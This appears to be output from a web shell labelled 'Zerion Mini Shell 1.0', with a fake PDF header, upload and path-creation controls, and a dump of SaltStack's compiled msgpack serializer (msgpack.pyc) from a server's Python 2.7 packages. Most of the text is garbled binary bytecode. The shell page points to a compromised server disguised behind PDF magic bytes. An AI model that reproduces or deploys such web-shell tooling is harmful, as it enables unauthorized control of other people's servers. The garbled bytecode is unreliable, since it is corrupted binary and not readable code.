%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/serializers/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlmZddl	m
Z
mZddlm
Z
eje�ZyLddlZejejddd	g�d
e�dkr�e�neZWn[ek
r(yddlZWq)ek
r$dZede�ejd
�eZq)XnXesMd�Zd�Zd�ZnHejdkrqd�Zd�Zn$d�Z d�Z!d�Zd�ZeZ"eZ#de"_de#_dS(ue
    salt.serializers.msgpack
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Implements MsgPack serializer.
i(tabsolute_importtprint_functiontunicode_literalsN(tsetup_console_logger(tDeserializationErrortSerializationError(tsixiiituse_listu[%(levelname)-8s] %(message)st
log_formatu7Unable to import msgpack or msgpack_pure python modulescC@std��dS(Numsgpack is not available(tRuntimeError(((s</usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyt_fail2scK@st�dS(N(R
(tobjtoptions((s</usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyt
_serialize5scK@st�dS(N(R
(tstream_or_stringR((s</usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyt_deserialize8scK@s:ytj||�SWntk
r5}t|��nXdS(N(tmsgpacktdumpst	ExceptionR(RRterror((s</usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyR
=scK@sZy4|jdt�|jdd�tj||�SWntk
rU}t|��nXdS(Nuuse_listuencodinguutf-8(t
setdefaulttTrueRtloadsRR(RRR((s</usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyRCscC@s�t|t�rMgtj|�D]\}}|t|�f^q}t|�St|ttf�rg|D]}t|�^qiStj|�S(u�
        Since OrderedDict is identified as a dictionary, we can't make use of
        msgpack custom types, we will need to convert by hand.

        This means iterating through all elements of dictionaries, lists and
        tuples.
        (t
isinstancetdictRt	iteritemst_encodertlistttupletcopy(Rtkeytvaluetdata((s</usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyRMs4
cC@s|S(N((R((s</usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyt_decoder\scK@sFy t|�}tj||�SWntk
rA}t|��nXdS(N(RRRRR(RRR((s</usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyR
_s
cK@sS|jdt�ytj|�}t|�SWntk
rN}t|��nXdS(Nuuse_list(RRRRR!RR(RRRR((s</usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyRfsu�
    Serialize Python data to MsgPack.

    :param obj: the data structure to serialize
    :param options: options given to lower msgpack module.
u�
    Deserialize any string of stream like object into a Python data structure.

    :param stream_or_string: stream or string to deserialize.
    :param options: options given to lower msgpack module.
(iii($t__doc__t
__future__RRRRtloggingtsalt.logRtsalt.serializersRRtsalt.extRt	getLoggert__name__tlogRRRRtNonetImportErrort	availabletmsgpack_puret
LOG_FORMATtfataltFalseR
R
RtversionRR!t	serializetdeserialize(((s</usr/lib/python2.7/site-packages/salt/serializers/msgpack.pyt<module>sF-	




			
					

Zerion Mini Shell 1.0